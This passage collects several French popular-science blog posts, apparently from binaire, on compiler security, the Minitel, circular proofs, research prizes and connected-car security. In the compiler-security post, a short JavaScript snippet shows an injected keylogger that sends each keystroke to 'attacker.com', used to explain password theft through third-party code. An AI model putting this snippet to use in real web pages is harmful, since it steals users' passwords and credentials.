    (1) On peut se demander pourquoi elle ne devient pas elle-même cette capacité de réponse, une option qui figurait dans une consultation à son égard. Elle doit se contenter de contribuer à l’établissement d’ISACS (Information Sharing and Analysis Centres) par secteur en diffusant bonnes pratiques et guidance.

  • Est-ce que mon programme est bien protégé contre les cyberattaques?

    Garantir la sécurité d’un programme est un problème difficile. Cela n’est sûrement pas une nouvelle pour vous étant données toutes les cyberattaques dont on entend parler dans les journaux aujourd’hui (WannaCry, Attaque vers Yahoo, Petya, Cyberguerres, etc.). Ce que nous savons moins, c’est l’importance des langages de programmation (ces langages comme JavaScript qui permettent de créer des animations dans nos pages web) dans la sécurité de nos programmes. Pour découvrir cet aspect bien moins connu, donnons la parole à notre collègue Tamara Rezk. Pierre Paradinas et Pascal Guitton.

    Écrire du code sûr et s’assurer que celui-ci satisfait des propriétés de sécurité est nécessaire pour contrer d’éventuelles cyberattaques. Mais ce n’est pas suffisant. Encore faut-il que le programme qui sera exécuté par l’ordinateur soit sûr. Vous avez bien lu: écrire un programme sûr et s’assurer qu’il s’exécute de manière sûre sont deux choses bien distinctes.

    En effet, le code source dans lequel le développeur écrit son programme et le code qui s’exécute peuvent être très différents :

    © Tamara Rezk et dreamstime.com

    Dans cette figure, le code source écrit par le développeur se trouve en haut. En dessous, le code exécuté par l’ordinateur. Ce dernier est bien différent du code source : dans l’exemple c’est un code binaire, une séquence de 0 et de 1, généré par un compilateur.

    Nos smartphones, tablettes ou ordinateurs sont de gigantesques circuits électroniques dont il faut expliciter chaque opération. Les instructions qui pilotent ces circuits sont exprimées en « langage machine » qui est trop complexe pour être manipulé directement par un opérateur humain, alors on implémente nos algorithmes dans un langage plus facile à comprendre et à manipuler et qui peut être traduit automatiquement en langage machine. Le compilateur est l’outil logiciel qui effectue cette traduction comme le raconte l‘histoire de Grace Hopper ou presque. On parle d’interpréteur si cette traduction est faite pas à pas, la problématique étant la même ici.

    Un compilateur est donc un traducteur. Comment être sur que la traduction est correcte ? Des erreurs de traduction peuvent avoir des conséquences très importantes, par exemple lorsque deux présidents se parlent. Même si un président pèse bien son discours, comment être sur que le traducteur le retranscrit exactement ? Si vous lisez ce blog assidûment, vous avez déjà entendu parler de compilateurs corrects ou compilateurs sans bugs (cf. l’article datant de 2016 sur Xavier Leroy).

    A priori, on pourrait penser que lorsqu’un compilateur traduit correctement un programme, les propriétés de sécurité satisfaites par le code source le sont aussi par le code compilé. Malheureusement, ce n’est pas toujours le cas.

    En guise d’exemple, prenez un programme avec deux variables : la variable x, qui contient des données publiques, et la variable ncarte, qui contient des données confidentielles, par exemple votre numéro de carte bancaire. Lorsque le compilateur est correct, la séquence de 0 et de 1 correspond exactement aux valeurs de la variable x et de la variable ncarte dans le code source:

    © Tamara Rezk

    Cependant, même dans le cas d’un compilateur correct, notre code n’est pas protégé. Le fait que les variables x et ncarte soient l’une à côté de l’autre en mémoire dans le code binaire est une faille de sécurité. Le code de l’attaquant peut se trouver dans cet environnement. Ce code peut récuperer un pointeur vers la variable x car celle-ci est dans la zone publique de la mémoire. Grâce à la contigüité des variables x et ncarte dans la mémoire, il va pouvoir récupérer la valeur de la variable confidentielle, en regardant juste un cran plus loin dans la mémoire.

    © Tamara Rezk et wpclipart.com

    Par contre, si le compilateur avait placé la variable ncarte dans une partie protégée de la mémoire, l’attaquant n’aurait pas pu obtenir sa valeur. Sauf si …

    Sur l’importance de la mémoire protégée et l’attaque Meltdown.

    Vous voyez dans ce simple exemple que la valeur de ncarte est accessible par l’attaquant parce que sa valeur en mémoire n’est pas protégée par compilation. Un problème de sécurité tout a fait similaire, mais dans un contexte plus général et avec des causes différentes, est l’ attaque de Meltdown (voir article du Blog binaire ou celui sur Le Monde ). En effet, en général, un programme ne s’exécute pas tout seul : il partage son environnemment d’exécution avec d’autres programmes de manière orchestrée par le système d’exploitation qui lui aussi s’exécute sur la machine. La mémoire utilisée par notre programme est donc partagée avec son environnement. Quand plusieurs programmes s’exécutent en même temps dans un environnement, la mémoire protégée est une brique fondamentale pour la sécurité. Malheureusement cette brique fondamentale est vulnérable, parce que par exemple, dans l’attaque Meltdown, l’attaquant peut accéder à toute la mémoire, y compris la mémoire qui devrait être protégée (comme dans notre exemple). À la différence de notre exemple, la cause de cette vulnérabilité n’est pas les bugs de programmes, ni les compilateurs, ni le système de exploitation. La cause principale est dans le hardware, et en particulier dans les processeurs Intel –et potentiellement d’autres.

    Comment garantir la sécurité de l’exemple alors ? Cet exemple illustre que la sécurité de votre programme ne dépend pas seulement du code écrit par le développeur. Mais, comme disait Saint-Exupéry, l’essentiel est invisible pour les yeux. L’essentiel pour la sécurité est que le code qui va s’exécuter soit sûr. Ce code et sa sécurité dépendent du compilateur et de l’environnement d’exécution, comme le hardware. L’idéal serait de disposer d’un compilateur qui traduise correctement le code source en code binaire tout en préservant les propriétés de sécurité, de disposer d’un environnement sûr, d’une mémoire vraiment protégée par le hardware et le système d’exploitation.

    Propriétés de sécurité.

    Parmi les propriétés de sécurité, deux classes sont particulièrement utiles : la confidentialité et l’intégrité. La propriété de confidentialité assure que des données confidentielles, par exemple votre code secret, ne pourront pas être lues par l’attaquant. La propriété d’intégrité assure que des données sensibles, par exemple le montant du virement bancaire que vous allez effectuer, ne pourront pas être modifiées par l’attaquant.Prenons comme exemple un programme, qui ne possède pas ces propriétés de sécurité, dans le domaine du web. Disons que ce programme télécharge une image lorsque l’on clique sur une touche du clavier. Le code pourrait se présenter sous cette forme :

     onkeypress = function(e) {
     new Image().src = url;
    }
    

    Si l’attaquant s’introduit dans l’environnement d’exécution, il pourra alors changer le code de la manière suivante:

     url = 'http://attacker.com/?='; 
    onkeypress = function(e) {
      var leak = e.charCode;
      new Image().src = url + leak;
    }
    

    Ce code source envoie la valeur de chaque caractère tapé avec le clavier vers un serveur «  http://attacker.com ». Pourquoi ce code constitue-t-il une attaque ? Imaginons que cette page est la page d’accueil du site PayPal, outil de virement en ligne. À chaque fois que vous tapez un caractère de votre mot de passe, celui-ci sera envoyé à l’attaquant. Tout cela sans même que vous vous en rendiez compte, puisque la page web fonctionne comme d’habitude. L’attaquant récupère donc votre mot de passe et pourra réaliser sans peine des virements à partir de votre compte vers le compte de son choix.

    © Tamara Rezk, paypal.com et wpclipart.com

    Pour ceux qui utilisent le site de PayPal ne vous inquiétez pas: l’attaque décrite ici n’existe pas sur le site actuel de PayPal (mais il a eu d’autres attaques sur ce même site, voir Attaque PayPal). Par contre, l’attaque décrite ici est tout de même envisageable sur d’autres sites. Si vous pensez : « mais non, il est impossible que le code de l’attaquant se retrouve dans l’environnement d’une page web !», alors visitez votre page web préférée et regardez attentivement : voyez-vous de la publicité ? La publicité est un excellent moyen, mais pas le seul, pour l’attaquant d’injecter son code. Le code servant à présenter une publicité provient de serveurs tiers, différents de celui qui sert la page que vous visitez. La publicité est à la base du modèle économique du web, et de ce fait, elle est omniprésente sur la plupart des sites web.

    Mais quel est le lien avec les compilateurs sûrs mentionnés plus haut ? Comme dans le cas des compilateurs, le code source envoyé par le serveur web est différent du code exécuté dans le navigateur. Cette transformation ne constitue pas nécessairement une compilation. Le code qui s’exécute dans le navigateur peut être différent du code source parce qu’il est enrichi avec du code provenant de serveurs tiers, comme les bandeaux de publicité par exemple. Les transformations du code qui préservent les propriétés de sécurité et le développement de langages de programmation avec des compilateurs sûrs constituent aujourd’hui des domaines actifs de recherche.

    En conclusion, rappelons simplement que pour être sûr, votre programme doit non seulement satisfaire des propriétés de sécurité, mais ces propriétés doivent être conservées tout au long des transformations qu’il subit jusqu’à son exécution.

    Tamara Rezk, Inria (Equipe-projet Indes, Sophia-Antipolis).

    Appendice : Recherche scientifique sur la compilation sûre.

    Les transformations du code qui préservent les propriètes de sécurité et le développement de langages de programmation avec des compilateurs sûrs constituent aujourd’hui des domaines actives de recherche.
    Par exemple, le projet ERC SECOMP a comme objectif d’utiliser des capabilités de hardware pour définir des compilateurs sûrs pour des langages comme le langage C. Pour avoir la sécurité sans sacrifier l’efficacité, ce projet propose la compilation sûre vers une architecture qui associe une étiquette à chaque partie de la mémoire. Ces étiquettes, que indiquerons une politique de sécurité, seront en
    suite inspectées et vérifiées.
    Un autre projet, le projet ANR CISC a comme objectif définir des langages
    de programmation et des compilateurs sûrs pour l’IoT. Pour avoir la sécurité
    dans un environnement complètement hétérogène, ce projet propose l’utilisation
    des langages multitiers, c’est à dire des langages qui permettent de programmer tous les composantes de l’IoT – serveur, clients, objets physiques, avec un
    seul code. Ce langage sera ensuite compilé de manière sûre vers les différentes
    architectures.
    D’autres travaux sont menés à KU Leuven qui étudient la compilation sûre vers des architectures conçu spécifiquement pour la sécurité, comme par exemple l’architecture Intel SGX.

  • Avec le Minitel, il y avait du rose…

    Photo Maggie Richards

    Le 19 décembre, l’ISCC (Institut des sciences de la communication CNRS / Paris-Sorbonne / UPMC) avait invité Julien Mailland, auteur avec Kevin Driscoll de « Minitel :  Welcome to the Internet ». Julien Mailland a préparé pour binaire un petit texte sur le Minitel en lien avec les questions actuelles sur la neutralité du Web, avec un regard incluant l’expérience du Minitel…
    Thierry Vieville et Pierre Paradinas

    Pour penser le futur du Net, interrogeons le passé

    Une campagne d’affichage de La Quadrature du Net nous rappelle à juste titre que « Google filtre ta pensée, » « Apple sait où est ta mère, » et « Facebook contrôle ce que tu peux lire. »  Aux États-Unis, une récente décision du régulateur des télécoms (la FCC) a enterré la neutralité du Net et permet donc à des FAI en position de monopole, ou au mieux d’oligopole, de bloquer des pans entiers de l’internet, à leur guise, pour des raisons purement mercantiles et qui ne bénéficient en rien aux utilisateurs.  Et on a appris récemment qu’Apple, qui peut prendre contrôle à distance de tout iPhone, ralentit délibérément ses vieux modèles – dans l’intérêt du consommateur, nous dit-on, ou est-ce plutôt un cas d’obsolescence programmée ?  Partout, l’intérêt public est sacrifié à celui de quelques multinationales qui contrôlent les différentes couches de l’internet : l’infrastructure physique,  les terminaux, et les applications.  Cette tendance vers un monde déjà orwellien, et qui risque de le devenir de plus en plus à la mesure que les régulateurs n’agissent pas à la hauteur des responsabilités qui sont les leurs, est-elle cependant inéluctable ?

    Photo J. Mailland

    Un cas d’espèce venu du passé – le réseau Minitel – nous invite à imaginer un futur différent de celui proposé par Google, Apple, Facebook, et consorts, un avenir où l’intérêt public serait ancré dans l’écosystème digital.  Si le réseau Minitel, qui a fermé en 2012, est souvent raillé pour sa lenteur et sa primitivité, il était pour l’époque une merveille technologique.  Mais ce qui est surtout important aujourd’hui est que l’exemple Minitel démontre que l’innovation privée et l’intérêt public ne sont pas toujours incompatibles, bien au contraire.  Avec Minitel, le fait que l’infrastructure physique au cœur du réseau était opérée par une entité publique (les PTT), offrait tant aux usagers qu’aux fournisseurs de contenu certaines garanties : l’égalité de traitement et la neutralité (celle-là même que les fournisseurs d’accès internet privés souhaitent voir abolir), et le respect de la vie privée (ce qui a permis par exemple l’explosion du Minitel rose), qui est garantie par le Code Civil, mais dont Mark Zuckerberg nous assure que nous ne voulons plus, afin qu’il puisse, sans restriction, monétiser nos vies.  Non seulement ces garanties n’ont pas empêché l’innovation, mais elles ont contribué à la catalyser : à l’aube du Web au début des années 90, la France entière était en ligne, contrairement aux pays où le secteur privé était seul en charge ; aux États-Unis par exemple, le futur Vice-Président Al Gore estimait en 1991 le nombre d’Américains connectés sur les systèmes tels Compuserve et Prodigy à moins d’un demi-million, soit une pénétration de 0.2%.

    Ce n’est pas dire que les états devraient nationaliser les réseaux internet.  Simplement, l’exemple du Minitel nous montre qu’une intervention publique stratégique et de qualité peut catalyser l’innovation numérique plutôt que la ralentir, ce qui est d’ailleurs exactement ce qu’arguait Al Gore en réclamant un financement public d’un réseau national, ce qu’il obtint, pavant un gros bout de chemin vers l’Internet moderne.  Demain, cette intervention publique pourrait, en France, prendre plusieurs formes.  D’abord, une application attentive des règles de neutralité dans la durée par l’Autorité de Régulation des Communications Électroniques et des Postes (ARCEP) afin de les pérenniser et de garantir l’égalité de traitement en aval, par les FAI, des contenus et applications auxquels les utilisateurs souhaitent accéder.  D’autre part, une application ferme de règles de protection de la vie privée aux plateformes digitales afin, par exemple, que Facebook ne puisse conserver les données d’un utilisateur se désinscrivant de ses services, ou que Google ou Samsung ne puisse plus vous enregistrer à votre insu.  Ce type d’intervention publique, l’expérience Minitel nous l’indique, n’est pas en contradiction avec l’innovation par le secteur privé, quoi qu’en pensent Mark Zuckerberg et Stéphane Richard.

    Ecran minitel : Photo J. Mailland

    Julien Mailland

    Pour aller plus loin, de Julien Mailland

  • La preuve en boucle

    Amina Doumane

    Quand on interroge Amina Doumane sur son domaine de recherche, on réalise vite que l’on va devoir la suivre dans une certaine gymnastique intellectuelle, façon mise en abyme à la Inception. Le but de sa thèse était de prouver qu’une preuve est bien une preuve. Mais évidemment pas n’importe quelle preuve…

    Cette post-doctorante au Laboratoire d’informatique du parallélisme (LIP – CNRS/ENS Lyon/Université de Lyon), qui a mené sa thèse entre l’Institut de Recherche en Informatique Fondamentale (IRIF – CNRS/Université Paris-Diderot) et le Laboratoire Spécification et Vérification (LSV – CNRS/ENS Paris-Saclay) vient d’obtenir à la fois le prix de thèse Gilles Kahn décerné par la SIF, et le Prix La Recherche, pour le domaine sciences de l’information, pour son article présenté au LICS2017.

    Dans les preuves mathématiques « normales », celles que l’on a pu faire au lycée, on nous a appris à s’appuyer sur des axiomes, c’est-à-dire des énoncés qui sont trivialement vrais, pour les utiliser pour démontrer des choses de plus en plus complexes. « Dans une démonstration infinitaire, aussi appelée preuve circulaire, lorsqu’on me donne un théorème T à démontrer,  je peux utiliser T  comme axiome pour démontrer … T !  précise la chercheuse. Les preuves circulaires sont très utiles, puisqu’elles facilitent la recherche de preuve,  mais on n’avait pas jusque-là pu prouver  qu’elles  « méritaient » le nom de preuve », en d’autre termes qu’elles avaient les propriétés structurelles  pour être désignées comme telles ».

    Machine à caféCes preuves circulaires, un peu inhabituelles vont s’avérer utiles pour la vérification de systèmes. Un système réactif correspond à peu près à n’importe quoi qui interagit avec son environnement, et qui évolue dans le temps : un ascenseur, une machine à café, une centrale nucléaire… La vérification d’un système correspond au fait de s’assurer que le système satisfait certaines propriétés, répond aux attentes qu’on peut en avoir, appelées spécifications : si j’appuie sur le bouton de la machine à café, j’obtiens un café… Pour pouvoir utiliser ces notions, on va alors abstraire, remplacer le système et les spécifications par des objets de logique que l’on sait manipuler. En l’occurrence, Amina Doumane s’est intéressée au µ-calcul, une forme de logique spécifique pour la description du comportement de système, notamment avec la prise en compte de la notion de temps.

    Une première formule du µ-calcul va ainsi décrire le système, et une deuxième formule détaillera les propriétés attendues de ce système. Une 3e formule doit englober les deux premières, pour que la formule du système implique nécessairement la formule de la spécification. « Appelons cette formule « la grande implication », précise-t-elle. Si on ne parvient pas à prouver la grande implication, c’est que le système ne vérifie pas les spécifications. Mais si on la prouve, on est sûr que le système satisfait  la spécification. De plus, cette preuve peut être vue  comme un certificat, qui peut être communiqué et même exécuté. Cette technique est d’ailleurs plus informative que d’autres : la preuve nous apprend pourquoi le système vérifie la propriété, ce qui donne des éléments explicatifs et donc une confiance supplémentaire. »

    Le tour de force d’Amina Doumane a été de réussir à concevoir un algorithme capable de prendre une formule de µ-calcul (par exemple et en particulier la grande implication) et d’en construire automatiquement une preuve. Comme souvent dans le cas d’avancées remarquables en recherche, l’ingéniosité a été de concilier des outils de disciplines différentes. Amina Doumane a ainsi pioché dans les algorithmes qu’utilise la théorie des automates, qu’elle a interprétés comme des algorithmes de recherche de preuve, dans les systèmes de preuves circulaires.

    Par ses travaux dans sa thèse, elle a ainsi pu démontrer que les preuves circulaires se comportent réellement comme des preuves, et de façon secondaire fournir des algorithmes de traitement de µ-calcul en vue d’applications pour la vérification des systèmes.

    Laure Thiébault, CNRS

    Publication commune avec CNRS – INS2I.

    Pour aller plus loin

  • Le temps des prix

    En janvier 2017, nous vous faisions part de la sortie du livre « Le temps des algorithmes » écrit par Serge Abiteboul et Gilles Dowek aux éditions Le Pommier. Aujourd’hui, nous avons l’occasion d’en reparler car cet ouvrage vient de recevoir le prix  « La Science se livre » catégorie adulte. Cette manifestation destinée à valoriser la culture scientifique auprès du grand public est organisée par le Département des Hauts-de-Seine en partenariat avec l’association BiB 92 et la Bibliothèque Nationale de France.  » Le temps des algorithmes« a été primé pour « l’originalité des sujets abordés, la rigueur scientifique de son contenu, et les qualités de transmission des connaissances au public ».

    Couverture Livre le temps des algorithmes par Serge Abiteboul et Gilles DowekNous avions partagé avec vous notre enthousiasme pour cet ouvrage cité en référence à maintes reprises pour la qualité de son approche et la pertinence de son contenu. Il permet en effet de comprendre la notion d’algorithme, de nous faire découvrir comment ils façonnent notre société actuelle et surtout il invite le citoyen à acquérir un socle de connaissance suffisant pour pouvoir appréhender les enjeux liés à ses algorithmes.

    Dans un tout autre domaine, le prix « la Science se livre » catégorie adolescent a été attribué à Hélène Rajcak et Damien Laverdunt pour leur ouvrage « Le monde invisible des animaux microscopiques » paru aux éditions Actes Sud Junior.

    Très bonne lecture à toutes et tous.

    Marie-Agnès Enard

    PS : le comité éditorial de binaire (sauf Serge Abiteboul) a jugé pertinent d’annoncer ce prix.

  • Parce qu’elle le vaut bien

    La Fondation L’Oréal remettait le 11 octobre 2017 à 30 jeunes femmes leurs bourses 2017 L‘Oréal-UNESCO Pour les Femmes et la Science en partenariat avec l’Académie des sciences et la Commission nationale française pour l’UNESCO. Ce programme identifie et récompense de jeunes chercheuses talentueuses dans les sciences formelles, les sciences du vivant et de l’environnement, les sciences de la matière, les sciences de l’ingénieur et technologiques. Florence Sèdes qui anime à la Société Informatique de France le groupe « femmes & informatique » partage ici le beau succès en informatique de Tahina Ralitera. Serge Abiteboul et Thierry Viéville.

    30 jeunes femmes scientifiques au parcours d’excellence ont reçu la bourse « Pour les Femmes et la Science » doté de 15 000€ pour les doctorantes et de 20 000€ pour les post-doctorantes. Elles ont été sélectionnées parmi plus de 1 000 candidates par un jury indépendant composé d’académiciens qui ont tenu à récompenser l’excellence de leur niveau académique, l’originalité de leur projet scientifique, mais aussi leur désir de transmettre leur passion aux plus jeunes.

    « Depuis 10 ans, la Fondation L’Oréal s’engage en faveur des femmes dans le monde afin de les soutenir et de les valoriser. A travers le programme Pour les Femmes et la Science, nous avons déjà pu soutenir plus 2700 jeunes femmes scientifiques pour les aider à briser le plafond de verre », déclare Alexandra Palt, Directrice Générale de la Fondation L’Oréal.

    Tahina Ralitera, jeune informaticienne malgache, actuellement en troisième année de doctorat au Laboratoire d’Informatique et de Mathématiques de l’Université de La Réunion, figure parmi les lauréates.

    Tahina Ralitera a 24 ans. En 2009, elle obtient à Madagascar, son île natale, un baccalauréat série C et réussit le concours d’entrée à l’École Supérieure Polytechnique d’Antananarivo, dans la filière télécommunications. En 2013, elle reçoit une bourse du gouvernement français pour poursuivre des études d’ingénieur en informatique et télécommunications à l’École Supérieure d’Ingénieurs Réunion Océan Indien à La Réunion. Elle obtient un Master 2 en 2016, major de promotion. Diplômée ingénieure en Informatiques et Télécommunications, elle se lance dans une thèse d’informatique.

    Laissons parler Tahina Ralitera : cette bourse représente une réussite pour moi, j’en suis très fière. Étant moi-même dans une discipline dite « masculine », la promotion de la participation de la femme dans la recherche scientifique est une cause qui m’importe beaucoup. Dès mon plus jeune âge, mes parents m’ont orientée vers un parcours scientifique, par le choix des dessins animés ou des émissions télévisées qu’ils me faisaient regarder, par les livres qu’ils me faisaient lire, en m’incitant à visiter des salons scientifiques. Tout cela a cultivé mon intérêt pour les sciences. Je voulais devenir médecin, puis chimiste, puis biologiste, puis physicienne, puis astronaute, finalement, je me suis orientée vers l’informatique, une discipline que j’ai découverte assez tard, au lycée. Le cybercafé du coin (nous n’avions pas d’ordinateur à la maison, et les connexions étaient payantes à la durée) offrait un cours d’initiation à l’informatique où ma mère m’a inscrite. C’est à ce moment-là que s’est révélée ma passion pour l’informatique.

    Tahina Ralitera a commencé une thèse sous la direction du Professeur  Rémy Courdier, spécialiste des « Systèmes Multi-Agents ». Son travail doctoral vise à développer un simulateur des flux de véhicules électriques sur un territoire, un outil d’aide à la décision pour placer des bornes de recharge et éviter les pannes.

    Pour sa première conférence, elle se rend au Portugal, découvre la couverture wifi et le covoiturage avec des véhicules  électriques. Elle prend conscience de la richesse de son sujet et plus largement de la mobilité dans des villes dites  »intelligentes ». Le concept s’impose à elle : Une île  intelligente ! Mon projet ne se limite pas à la mobilité ou aux  bâtiment, c’est tout un système ! Il faut penser à la gouvernance,  l’économie, l’éducation, la santé.

    C’est cette vision globale de services qu’on va appeler île intelligente.

    La Réunion dans vingt ans, elle l’imagine déjà, avec une  circulation plus fluide et une meilleure qualité de vie.  La  voiture électrique a-t-elle une place dans cet avenir ? Si on arrive à  développer l’infrastructure, ça résoudra en partie le problème, car les  gens ont encore peur d’être à court de batterie à Cilaos et de ne pas  pouvoir revenir ! Quant à la voiture électrique en libre service, elle  sait que techniquement, c’est tout à fait possible. Elle a  déjà réalisé un prototype logiciel qui fonctionne à Londres dans le cadre d’une collaboration avec l’Imperial College. Un deuxième prototype pour La Réunion est en cours de  validation.  Si elle n’a jamais encore conduit de voiture électrique à La Réu­nion, Tahina  Ralitera est en mesure de proposer une carte de l’île avec tous  les points de recharge utiles pour développer une flotte de véhicules  électriques ! Il lui faut aussi réfléchir aux impacts sociétaux, à ce qui pourrait freiner le déploiement de la voiture électrique sur l’île.

    Florence Sèdes, chercheuse en informatique à l’IRIT et membre du CA de la SIF.

  • Le lave-vaisselle de la mémoire

    Pour expliquer ce qu’est un algorithme, on utilise souvent l’analogie : « c’est un peu comme une recette de cuisine ». Cette analogie, certes galvaudée, est si forte qu’on peut la pousser jusqu’à l’exécutant de la recette, le cuisinier lui même, qui représente l’ordinateur exécutant l’algorithme, voire jusqu’à ses assistants. C’est ainsi que Yannick Zakowski, doctorant de l’ENS Rennes, nous explique le sujet sa thèse, réalisée à l’IRISA à Rennes, pendant laquelle il a proposé un outil de garbage collecting garanti sans erreur pour des langages concurrents. Charlotte Truchet

    Léon travaille dans les cuisines du restaurant La Marne. Aujourd’hui, Albertine, une cliente, a commandé un « Tian suave d’aubergine et de poivron ». Pour faire ce plat, Léon doit suivre pas à pas une liste d’instructions : la recette. On retrouve là trois composants bien connus des programmeurs : la recette est un algorithme. Celui-ci a besoin d’une machine pour l’exécuter, en l’occurrence, c’est Léon qui joue ce rôle. Plus subtil, car on n’y fait pas forcément attention, le troisième élément est l’énoncé du plat : c’est une description, qui permet à Albertine de choisir un plat sans avoir à regarder les détails de la recette. En programmation, on appelle ça la spécification.

    Crédit photo Pexels

    Mais ce soir, les choses se gâtent à La Marne ! Albertine reçoit un plat insupportablement épicé, très loin de la suavité annoncée. Elle est furieuse. Le résultat de l’algorithme ne correspond pas à la spécification : c’est un exemple de ce que l’on appelle communément un bug. Pour Albertine, c’est désagréable mais pas dramatique. En informatique, cela devient vite très ennuyeux, et même dangereux : on le sait, les algorithmes sont partout, au sein des voitures, des avions, d’appareils médicaux… Je m’intéresse à des situations où l’on veut s’assurer formellement de l’absence de bug. En clair, la prouver. Car oui, il existe des outils mathématiques permettant de prouver que l’algorithme respecte bel et bien sa spécification. Ce domaine étant extrêmement vaste, revenons à notre tian pour en voir un exemple.

    Le concepteur de la recette utilisée par Léon est catégorique, sa recette est démontrée infaillible. Suavité garantie ! Du côté de Léon, pas d’erreur possible non plus, c’est un cuisinier hors pair. Alors ? Une enquête approfondie révèle un simple problème de traduction : l’auteur de la recette étant anglais, il a indiqué d’utiliser un « pepper » comme ingrédient. Ce terme a été traduit par piment, en lieu du poivron utilisé à l’origine. En programmation, le concept de traduction est central, si central qu’on lui a donné un nom particulier, la compilation. Le programmeur écrit son algorithme dans un langage (relativement) facile à manipuler, et un compilateur s’occupe de traduire cet algorithme dans le langage beaucoup plus obscur que l’ordinateur comprend. Ma thèse s’inscrit dans un effort collectif visant à mettre au point des compilateurs qui n’introduisent jamais d’erreur dans les algorithmes qu’on leur confie, une sorte de traduction garantie sans faux-sens.

    Crédit photo Pexels Pendant ma thèse, je me suis tout particulièrement intéressé aux récipients dans lesquels Léon stocke ses ingrédients pendant qu’il cuisine. Il mesure la farine dans un verre doseur, la transvase temporairement dans un bol, puis verse le sucre dans ce même verre doseur. Dans un ordinateur, une partie de l’exécution d’un algorithme ressemble un peu à ces transvasements permanents : la gestion de la mémoire. On stocke des valeurs dans différentes cases mémoire que l’on souhaite réutiliser autant que possible. Dans les premiers langages de programmation, il fallait expliciter tout cela, comme si votre recette de cuisine vous indiquait constamment quels récipients manipuler. Fort heureusement, les langages modernes soulagent le programmeur de cette responsabilité. C’est un peu comme si le compilateur fournissait à Léon une assistante, Casimira, sorte de responsable des transvasements dont le rôle est de gérer la vaisselle. On l’appelle le glaneur de cellules. C’est lui-même un algorithme que le compilateur ajoute, en supplément de la recette / programme, au moment de sa traduction. Mais tout comme le compilateur pouvait faire des erreurs de traduction, il pourrait fournir à Léon un assistant faillible. Casimira pourrait par exemple faire preuve d’un excès de zèle et envoyer à la vaisselle un bol encore rempli de farine, gâchant ainsi l’exécution de la recette !

    Durant ma thèse, j’ai travaillé sur des méthodes permettant de prouver formellement l’infaillibilité de Casimira. Et les choses ne sont pas faciles, notamment à cause d’un détail que je ne vous ai pas précisé : Léon n’est pas seul en cuisine, il partage sa vaisselle avec une armée d’autres cuisiniers ! On dit qu’ils travaillent de façon concurrente. Un fond de farine que Léon semble avoir abandonné peut en réalité être sur le point d’être utilisé par un de ses collègues. Détecter les récipients dont plus personne n’a l’utilité sans jamais interrompre un cuisinier dans sa tâche est alors un exercice de synchronisation particulièrement subtil.

    Autrement dit, ce que j’ai fait durant ma thèse, c’est prouver l’infaillibilité d’un glaneur de cellules (garbage collector) réaliste pour un langage concurrent, tel que Java par exemple.

    Yannick Zakowski

  • Sécurité routière et cybersécurité

    Avec les objets connectés, notre sécurité est remise en question. Binaire publiait l’an dernier une nouvelle « You are under arrest » qui essayait d’imaginer ce qui pourrait se produire dans le futur si, aujourd’hui, nous n’accordons pas au sujet de la sécurité, toute l’importance qu’il mérite. Nous avons demandé à Gérard Le Lann, un spécialiste de la question, de nous expliquer cette fois techniquement ce qu’il en était. Serge Abiteboul.

    Une réduction significative du nombre d’accidents graves (invalidités, pertes de vies humaines) et une meilleure efficacité (réduction des temps de trajet, quasi-élimination des embouteillages) sont deux des buts principaux de la conduite automatisée (avec ou sans chauffeur humain). Les buts d’innocuité (*) et d’efficacité ne pouvant être atteints en se limitant à la robotique embarquée (radars, lidars, caméras, etc.), des travaux ont été entrepris dès 2004 dans le but de doter les véhicules d’émetteurs/récepteurs radio. Cela a conduit au concept de véhicule autonome « connecté » (VAC). À partir de 2020, les véhicules mis en circulation aux USA devront être dotés d’équipements radio conformes aux solutions WAVE (pour Wireless Access in Vehicular Environments) actuelles, qui comprennent un ensemble de protocoles basés sur des télécommunications de type wifi, connues sous l’acronyme V2X (vehicule-to-everything), permettant à un VAC d’être « connecté » à des relais terrestres (infrastructures routières, réseaux de télécommunications) et de communiquer avec d’autres VAC. Si rien ne l’entrave, cette décision s’imposera en Europe et ailleurs. Cette perspective est inquiétante.

    Waymo Chrysler Pacifica Hybrid, testée dans la région de la Baie de San Francisco.Wikipedia

    On sait que, dans des conditions de trafic moyennement dense, le nombre de véhicules en compétition pour accéder au canal radio partagé est tel que les délais de transmission de message sont trop grands pour éviter les accidents. En outre, les communications radio étant non fiables, les messages V2X émis peuvent ne pas être reçus par les destinataires visés. Il est donc impossible de prédire quoi que ce soit concernant la coordination inter-véhiculaire. Des diffusions périodiques de balises sont censées procurer l’innocuité désirée. Tout véhicule doit diffuser, entre 1 fois et 10 fois par seconde, un message V2X daté donnant, en particulier, sa géolocalisation et sa vitesse, nécessairement non chiffrées. L’idée sous-jacente est que les VAC co-localisés peuvent maintenir la même carte donnant leurs positions exactes et celles des véhicules qui les environnent, et ainsi éviter les accidents. C’est malheureusement faux. A raison de 10 balises par seconde, en conditions de trafic moyennement dense, le canal radio est vite saturé. Du coup, les véhicules ne peuvent plus être géolocalisés. A des fréquences plus faibles, en présence de pertes de balises, les cartes des VAC ne peuvent être identiques. En dépit du gaspillage de ressources de calcul et de communication, on ne peut éviter les accidents.

    Du point de vue « connexion », avec WAVE, les VAC sont équivalents à des smartphones-sur-roues. Ils sont donc potentiellement sujets à cyberespionnage et vulnérables aux cyberattaques dont sont victimes les équipements radio sans fil. Le problème est que les smartphones-sur-roues peuvent tuer. La possibilité d’une prise de contrôle à distance de véhicule a été démontrée à plusieurs reprises, lors de conférences Black Hat et par des agences gouvernementales. Les techniques cryptographiques en cours de normalisation destinées à contrer le cyberespionnage et les cyberattaques (usurpation d’identité, falsification de messages légitimes, injection de messages frauduleux, etc.) n’éliminent pas complètement les vulnérabilités. Par exemple, les attaques de « l’homme du milieu » (**) sont possibles. On montre également qu’il est possible de pister les trajets, en reliant des géolocalisations. Même avec des messages V2X « anonymisés », si l’on peut associer des lieux fréquemment visités (par exemple un lieu de travail et un lieu de résidence), alors le piratage de données d’ordre privé devient réalisable. Ces faiblesses sont connues mais la communauté WAVE 1.0 (***) tente de s’en dédouaner en affirmant que l’on ne peut faire mieux. C’est faux.

